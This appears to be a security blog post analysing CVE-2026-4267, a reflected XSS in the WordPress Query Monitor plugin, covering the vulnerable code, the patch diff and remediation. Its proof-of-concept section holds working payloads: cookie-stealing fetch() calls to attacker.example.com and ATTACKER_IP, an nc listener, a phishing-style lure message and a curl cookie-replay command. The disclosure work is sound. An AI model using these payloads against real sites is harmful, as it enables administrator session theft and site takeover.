CVE-2026-4267: Unauthenticated Reflected XSS in Query Monitor Plugin

CVE-2026-4267: Unauthenticated Reflected XSS in Query Monitor Plugin

CVE-2026-4267 is a CVSS 7.2 (High) Reflected Cross-Site Scripting vulnerability in the Query Monitor – The Developer Tools Panel for WordPress plugin. All versions up to and including 3.20.3 are affected. An unauthenticated attacker can inject arbitrary JavaScript into the Query Monitor panel by crafting a malicious URL and tricking a privileged WordPress user (such as an administrator) into visiting it, potentially leading to full session hijacking or site takeover.

Vulnerability Summary

FieldValue
Plugin NameQuery Monitor – The Developer Tools Panel for WordPress
Plugin Slugquery-monitor
CVE IDCVE-2026-4267
CVSS Score7.2 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Vulnerability TypeReflected Cross-Site Scripting via Request URI
Affected Versions<= 3.20.3
Patched Version3.20.4
PublishedMarch 30, 2026
ResearcherDmitrii Ignatyev - CleanTalk Inc
Wordfence AdvisoryLink

Description

The Query Monitor – The Developer Tools Panel for WordPress plugin is vulnerable to Reflected Cross-Site Scripting via the $_SERVER['REQUEST_URI'] parameter in all versions up to, and including, 3.20.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user (who has Query Monitor viewing access) into performing an action such as clicking on a crafted link.


Technical Analysis

Vulnerable Code Path

The vulnerability spans three layers: data collection, URL formatting, and HTML output.

Layer 1: Data Collection — collectors/request.php

On admin pages (lines 186–195), $_SERVER['REQUEST_URI'] is read directly, unslashed, and stored with only a path prefix stripped — no HTML encoding:

// collectors/request.php, lines 186–195
if ( is_admin() ) {
    if ( isset( $_SERVER['REQUEST_URI'] ) ) {
        $path = parse_url( home_url(), PHP_URL_PATH );
        $home_path = trim( $path ?: '', '/' );
        $request = wp_unslash( $_SERVER['REQUEST_URI'] ); // phpcs:ignore

        $this->data->request['request'] = str_replace( "/{$home_path}/", '', $request );
    } else {
        $this->data->request['request'] = '';
    }

On front-end pages (lines 199–202), the request item comes from $wp->request, which is WordPress’s internal parse of the URI — also not HTML-encoded at this stage:

} else {
    foreach ( array( 'request', 'matched_rule', 'matched_query', 'query_string' ) as $item ) {
        $this->data->request[ $item ] = $wp->$item;
    }
}

Layer 2: URL Formatting — output/Html.php

The format_url() static method is responsible for making long, multi-parameter URLs more readable in the UI by line-breaking on &. However, it contains a fatal bypass (lines 487–494):

// output/Html.php, lines 487–494
public static function format_url( $url ) {
    // If there's no query string or only a single query parameter, return the URL as is.
    if ( ! str_contains( $url, '&' ) ) {
        return $url;  // ← RAW, UNESCAPED return
    }

    return str_replace( array( '?', '&amp;' ), array( '<br>?', '<br>&amp;' ), esc_html( $url ) );
}

When the URL does not contain an & character (i.e. no multiple query parameters), the function returns the raw, attacker-controlled string without any escaping. When the URL does contain &, esc_html() is correctly applied first.

Layer 3: HTML Output — output/html/request.php

The output() method calls format_url() for the request, matched_query, and query_string fields, then echoes the result directly into the HTML without a second escaping pass (lines 58–70):

// output/html/request.php, lines 58–70
if ( ! empty( $data->request[ $item ] ) ) {
    if ( in_array( $item, array( 'request', 'matched_query', 'query_string' ), true ) ) {
        $value = self::format_url( $data->request[ $item ] );  // ← may be raw
    } else {
        $value = esc_html( $data->request[ $item ] );
    }
} else {
    $value = '<em>' . esc_html__( 'none', 'query-monitor' ) . '</em>';
}

echo '<section>' . "\n";
echo '<h3>' . esc_html( $name ) . '</h3>' . "\n";
echo '<p class="qm-ltr"><code>' . $value . '</code></p>'; // ← raw $value echoed

Root Cause

The format_url() method in output/Html.php applies esc_html() only in the code path where the URL contains & (multiple query parameters). In the single-parameter (or no-parameter) branch, it returns the raw string directly. Since the return value is echoed into an HTML context without any subsequent escaping, any HTML/JavaScript injected into $_SERVER['REQUEST_URI'] is rendered by the browser.

The misleading comment // WPCS: XSS ok on the echo line in output/html/request.php:70 suggests the original developer incorrectly believed the output was already safe, leading to no second-level escaping.

Why Existing Controls Failed

There was no escaping applied in the format_url() short-circuit path. The comment // WPCS: XSS ok in output/html/request.php indicates the developer assumed safety was handled upstream by format_url(), but format_url() only sanitized when & was present. For clean URLs (no &), the raw URI passed through completely untouched.

Access Control and Attack Scope

Query Monitor restricts its HTML output to users who pass the user_can_view() check (classes/Dispatcher.php:171), which requires either:

  1. The WordPress capability view_query_monitor, OR
  2. A valid WordPress authentication cookie (checked via wp_validate_auth_cookie)

This means the XSS payload executes in the browser of any logged-in WordPress user who has Query Monitor viewing access — typically site administrators or developers. An unauthenticated attacker does not need any credentials to craft the malicious URL, but must socially engineer a privileged user into visiting it.

Attack Impact

A successful exploit allows an attacker to execute arbitrary JavaScript in the victim’s browser session. Depending on the victim’s privilege level, this can lead to:


Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Craft the malicious URL

Construct a URL that embeds a JavaScript payload inside the path component of the WordPress site URL. Because the path (before ?) is used as the request value and passed through format_url() without escaping (when there is no & in the value), script tags inject cleanly.

https://victim-site.example.com/<script>alert(document.cookie)</script>

For a more realistic account-takeover payload, craft a URL that sends the admin’s cookies to the attacker:

https://victim-site.example.com/<script>fetch('https://attacker.example.com/collect?c='+btoa(document.cookie))</script>

Step 2: Deliver the link to a privileged user

Send the crafted URL to a WordPress administrator via email, Slack, GitHub issue, or any social engineering vector. The message might look like:

“Hey, can you check this page on your WordPress site? I think something’s broken: https://victim-site.example.com/<script>...</script>

Step 3: Victim visits the URL while logged in

When the logged-in administrator visits the URL:

  1. WordPress loads the page and the Query Monitor plugin is activated
  2. The QM_Collector_Request::process() method reads $_SERVER['REQUEST_URI'] and stores the raw malicious string in $data->request['request']
  3. The QM_Output_Html_Request::output() method calls self::format_url() on this value
  4. Since the URI contains no &, format_url() returns the raw string as-is
  5. The raw string (containing the <script> tag) is echoed into the Query Monitor HTML panel
  6. The browser renders the panel and executes the injected script

Step 4: Verify execution

Using the simple alert payload, a dialog box pops up showing the current page’s cookies, confirming JavaScript execution in the context of the victim’s session.

Using a cookie-exfiltration payload:

# On attacker machine, start a listener:
nc -lvnp 8080

# Craft URL with exfiltration payload:
# https://victim-site.example.com/<script>fetch('http://ATTACKER_IP:8080/?c='+btoa(document.cookie))</script>
# When admin visits this URL, cookies appear in the netcat listener

Expected Result

The attacker receives the administrator’s WordPress session cookies, enabling full account takeover — login, privilege escalation, plugin installation, or any other administrative action.

Verification

Confirm the exploit succeeded by:

  1. Alert PoC: A JavaScript alert dialog appears with document.cookie contents when the admin visits the URL.
  2. Exfiltration PoC: Cookies appear in the attacker’s HTTP listener, decodable with echo <base64> | base64 -d.
  3. Account takeover: Use the exfiltrated cookie with a tool like curl -b "wordpress_logged_in_xxx=..." https://victim-site.example.com/wp-admin/ to verify authenticated access.

Patch Analysis

What Changed

Only two meaningful files changed in the security fix:

FileChange
output/Html.phpAdded esc_html() to the short-circuit return path in format_url()
query-monitor.phpVersion bump 3.20.33.20.4
readme.txtChangelog entry added for the security release
wp-content/db.phpVersion bump only
vendor/composer/installed.phpComposer reference hash update

Fix Explanation

The fix is a single-line change in output/Html.php:490. In the vulnerable version, when the URL contained no & character, format_url() returned the raw URL. The patch wraps that return value in esc_html():

// Before (vulnerable):
if ( ! str_contains( $url, '&' ) ) {
    return $url;
}

// After (patched):
if ( ! str_contains( $url, '&' ) ) {
    return esc_html( $url );
}

The multi-parameter path already called esc_html() before the str_replace(), so it was never affected.

The fix is complete and addresses the root cause directly. Both code paths in format_url() now HTML-encode the URL before returning it, so the echo in output/html/request.php:70 is safe regardless of URL structure.

Residual risk: None identified. The fix is a pure output-encoding change with no side effects on functionality, since esc_html() converts <, >, &, ", and ' to their HTML entity equivalents, which browsers will display correctly as text.

Code Diff (Key Changes)

--- a/output/Html.php
+++ b/output/Html.php
@@ -487,7 +487,7 @@ abstract class QM_Output_Html extends QM_Output {
 	public static function format_url( $url ) {
 		// If there's no query string or only a single query parameter, return the URL as is.
 		if ( ! str_contains( $url, '&' ) ) {
-			return $url;
+			return esc_html( $url );
 		}
 
 		return str_replace( array( '?', '&amp;' ), array( '<br>?', '<br>&amp;' ), esc_html( $url ) );

Timeline

DateEvent
March 19, 2026Patched version 3.20.4 released
March 30, 2026Publicly disclosed via Wordfence
April 6, 2026Wordfence advisory last updated

Remediation

Update the query-monitor plugin to version 3.20.4 or later immediately.

If an immediate update is not possible, consider temporarily deactivating the plugin on publicly-accessible sites where administrators may be socially engineered into clicking untrusted links.


References

  1. Wordfence Advisory
  2. Vulnerable file — request.php line 60
  3. Vulnerable file — request.php line 70
  4. Patch changeset on WordPress.org Trac
  5. CleanTalk Research — CVE-2026-4267
  6. CVE-2026-4267 on cve.org
  7. Researcher Profile — Dmitrii Ignatyev

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee